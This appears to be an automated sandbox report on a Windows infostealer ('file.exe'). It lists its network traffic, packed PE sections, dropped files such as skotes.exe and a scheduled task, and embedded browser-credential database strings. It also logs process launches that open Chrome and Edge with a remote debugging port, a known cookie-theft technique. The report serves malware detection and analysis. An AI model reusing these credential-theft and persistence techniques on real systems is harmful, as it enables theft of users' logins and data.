Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.6:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50149 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: section name:
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: .idata
Source: skotes.exe.24.dr	Static PE information: section name:
Source: 4965008c28.exe.28.dr	Static PE information: section name:
Source: 4965008c28.exe.28.dr	Static PE information: section name: .rsrc
Source: 4965008c28.exe.28.dr	Static PE information: section name: .idata
Source: 4965008c28.exe.28.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9AB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9AB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9AB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C94F280

Source: C:\Users\user\DocumentsEBKEHJJDAA.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9435A0	0_2_6C9435A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C956C80	0_2_6C956C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A34A0	0_2_6C9A34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AC4A0	0_2_6C9AC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D4D0	0_2_6C96D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9564C0	0_2_6C9564C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986CF0	0_2_6C986CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94D4E0	0_2_6C94D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985C10	0_2_6C985C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C992C10	0_2_6C992C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BAC00	0_2_6C9BAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B542B	0_2_6C9B542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B545C	0_2_6C9B545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955440	0_2_6C955440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C980DD0	0_2_6C980DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A85F0	0_2_6C9A85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C970512	0_2_6C970512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96ED10	0_2_6C96ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95FD00	0_2_6C95FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965E90	0_2_6C965E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AE680	0_2_6C9AE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A4EA0	0_2_6C9A4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94BEF0	0_2_6C94BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95FEF0	0_2_6C95FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B76E3	0_2_6C9B76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C987E10	0_2_6C987E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995600	0_2_6C995600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A9E30	0_2_6C9A9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C969E50	0_2_6C969E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C983E50	0_2_6C983E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C964640	0_2_6C964640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C992E4E	0_2_6C992E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94C670	0_2_6C94C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B6E63	0_2_6C9B6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9977A0	0_2_6C9977A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976FF0	0_2_6C976FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94DFE0	0_2_6C94DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C987710	0_2_6C987710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C959F00	0_2_6C959F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9760A0	0_2_6C9760A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B50C7	0_2_6C9B50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C0E0	0_2_6C96C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9858E0	0_2_6C9858E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C957810	0_2_6C957810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B820	0_2_6C98B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994820	0_2_6C994820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C968850	0_2_6C968850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D850	0_2_6C96D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98F070	0_2_6C98F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985190	0_2_6C985190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2990	0_2_6C9A2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D9B0	0_2_6C97D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94C9A0	0_2_6C94C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96A940	0_2_6C96A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B970	0_2_6C99B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB170	0_2_6C9BB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D960	0_2_6C95D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BBA90	0_2_6C9BBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95CAB0	0_2_6C95CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2AB0	0_2_6C9B2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9422A0	0_2_6C9422A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C974AA0	0_2_6C974AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C988AC0	0_2_6C988AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C961AF0	0_2_6C961AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98E2F0	0_2_6C98E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C989A60	0_2_6C989A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94F380	0_2_6C94F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B53C8	0_2_6C9B53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D320	0_2_6C98D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C945340	0_2_6C945340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C370	0_2_6C95C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D4E530	28_2_00D4E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D878BB	28_2_00D878BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D87049	28_2_00D87049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D88860	28_2_00D88860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D44DE0	28_2_00D44DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D831A8	28_2_00D831A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D82D10	28_2_00D82D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D8779B	28_2_00D8779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D77F36	28_2_00D77F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D44B30	28_2_00D44B30

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9894D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C97CBE8 appears 134 times

Source: 4965008c28.exe.28.dr	Static PE information: No import functions for PE file found
Source: random[1].exe.0.dr	Static PE information: No import functions for PE file found

Source: 4965008c28.exe.28.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.0.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2694362561.000000002369B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2694362561.000000002369B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2699766826.000000006CBC5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ldvhpekm ZLIB complexity 0.9950462282236451
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983395776566758
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: Section: mtubkuce ZLIB complexity 0.9943987498135441
Source: skotes.exe.24.dr	Static PE information: Section: ZLIB complexity 0.9983395776566758
Source: skotes.exe.24.dr	Static PE information: Section: mtubkuce ZLIB complexity 0.9943987498135441

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@76/294@28/28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9A7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9A7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\8YWC4X5U.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7348:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\4f7dea7e-e515-424b-b155-d9948e252078.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2690998421.000000001D52D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699002498.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699642763.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2690998421.000000001D52D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699002498.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699642763.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2690998421.000000001D52D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699002498.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699642763.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2690998421.000000001D52D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699002498.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699642763.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2690998421.000000001D52D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699002498.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699642763.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2690998421.000000001D52D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699002498.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2690998421.000000001D52D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699002498.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699642763.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2443190395.000000001D41D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2355603417.000000001D429000.00000004.00000020.00020000.00000000.sdmp, AFBFHDBKJEGHJJJKFIIJ.0.dr, IJJJEBFHDBGIECBFCBKJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2690998421.000000001D52D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699002498.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2690998421.000000001D52D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699002498.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsEBKEHJJDAA.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 --field-trial-handle=2180,i,13176118876904001922,10244841631199679070,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
